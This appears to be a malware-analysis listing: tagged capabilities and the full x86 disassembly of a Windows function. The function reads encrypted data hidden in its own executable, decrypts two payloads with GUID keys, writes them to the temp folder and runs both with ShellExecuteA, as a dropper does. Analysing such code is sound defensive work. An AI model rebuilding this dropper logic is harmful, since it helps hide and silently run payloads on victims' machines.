Function at 0x4010a0
Capabilities:
Create process on windows
Get common file path
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x5c0
mov ecx, 0x41
xor eax, eax
push esi
push edi
lea edi, [esp + 0x4c4]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c8]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0
push 0x80
push 3
push 0
push 1
lea ecx, [esp + 0x4d8]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401101
pop edi
xor eax, eax
pop esi
add esp, 0x5c0
ret 0x10
push ebx
push ebp
push 2
push 0
push 0xffffff70
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x30]
push 0x90
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edi, str.F918FE01_164A_4e62_9954_EDC8C3964C1B
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.F918FE01_164A_4e62_9954_EDC8C3964C1B
lea ecx, [esp + 0xc0]
call fcn.00401440
lea ecx, [esp + 0x28]
push 0x90
push ecx
lea ecx, [esp + 0xc0]
call fcn.00401520
lea ecx, [esp + 0xb8]
call fcn.00401510
mov ebx, dword [esp + 0xb0]
mov ecx, dword [esp + 0x68]
mov edx, dword [esp + 0x6c]
sub ebx, ecx
push ebx
mov dword [esp + 0x28], edx
call fcn.00406459
add esp, 4
mov ebp, eax
mov eax, dword [esp + 0x68]
push 0
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea ecx, [esp + 0x14]
push 0
push ecx
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edi, str.E5A42E7E_8130_4f46_BECC_7E43235496A6
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.E5A42E7E_8130_4f46_BECC_7E43235496A6
lea ecx, [esp + 0xc0]
call fcn.00401440
push ebx
push ebp
lea ecx, [esp + 0xc0]
call fcn.00401520
lea ecx, [esp + 0x10]
call fcn.00401630
lea edx, [esp + 0x24]
lea eax, [esp + 0x18]
push edx
push eax
push ebx
push ebp
lea ecx, [esp + 0x20]
call fcn.00401670
push ebp
call fcn.0040644e
add esp, 4
lea ecx, [esp + 0x10]
call fcn.00401660
lea ecx, [esp + 0xb8]
call fcn.00401510
mov ecx, dword [esp + 0xb4]
push 0
push esi
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, dword [esp + 0xb0]
mov edx, 0xffffff70
mov ebx, eax
sub edx, edi
add ebx, edx
push ebx
call fcn.00406459
add esp, 4
mov ebp, eax
mov eax, dword [esp + 0xb0]
push 0
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea ecx, [esp + 0x14]
push 0
push ecx
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edi, str.ADAB6D32_3994_40e2_8C18_2F226306408C
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.ADAB6D32_3994_40e2_8C18_2F226306408C
lea ecx, [esp + 0xc0]
call fcn.00401440
push ebx
push ebp
lea ecx, [esp + 0xc0]
call fcn.00401520
lea ecx, [esp + 0x10]
call fcn.00401630
lea edx, [esp + 0x20]
lea eax, [esp + 0x1c]
push edx
push eax
push ebx
push ebp
lea ecx, [esp + 0x20]
call fcn.00401670
push ebp
call fcn.0040644e
add esp, 4
lea ecx, [esp + 0x10]
call fcn.00401660
lea ecx, [esp + 0xb8]
call fcn.00401510
lea ecx, [esp + 0x1c0]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea edx, [esp + 0x1c0]
lea eax, [esp + 0x1c0]
push edx
push str._sTemp
push eax
call fcn.004063fc
lea ecx, [esp + 0x1cc]
push ecx
call section..text
add esp, 0x10
lea edx, [esp + 0x28]
lea eax, [esp + 0x1c0]
push edx
push eax
push str._s_s
lea ecx, [esp + 0x2d0]
push ecx
call fcn.004063fc
add esp, 0x10
lea edx, [esp + 0x70]
lea eax, [esp + 0x1c0]
lea ecx, [esp + 0x3c8]
push edx
push eax
push str._s_s
push ecx
call fcn.004063fc
add esp, 0x10
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateFileA]
lea edx, [esp + 0x2c4]
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push edx
call ebx
mov ebp, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, eax
cmp edi, 0xffffffff
je 0x4013a3
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x14]
push 0
push eax
push ecx
push edx
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call ebp
push 0
push 0x80
push 2
push 0
push 1
lea eax, [esp + 0x3dc]
push 0x40000000
push eax
call ebx
mov edi, eax
cmp edi, 0xffffffff
je 0x4013e1
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x14]
push 0
push ecx
push edx
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call ebp
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0040644e
mov edx, dword [esp + 0x20]
push edx
call fcn.0040644e
add esp, 8
push esi
call ebp
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 1
push 0
lea eax, [esp + 0x2cc]
push 0
push eax
push str.open
push 0
call esi
push 1
push 0
lea ecx, [esp + 0x3d0]
push 0
push ecx
push str.open
push 0
call esi
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x5c0
ret 0x10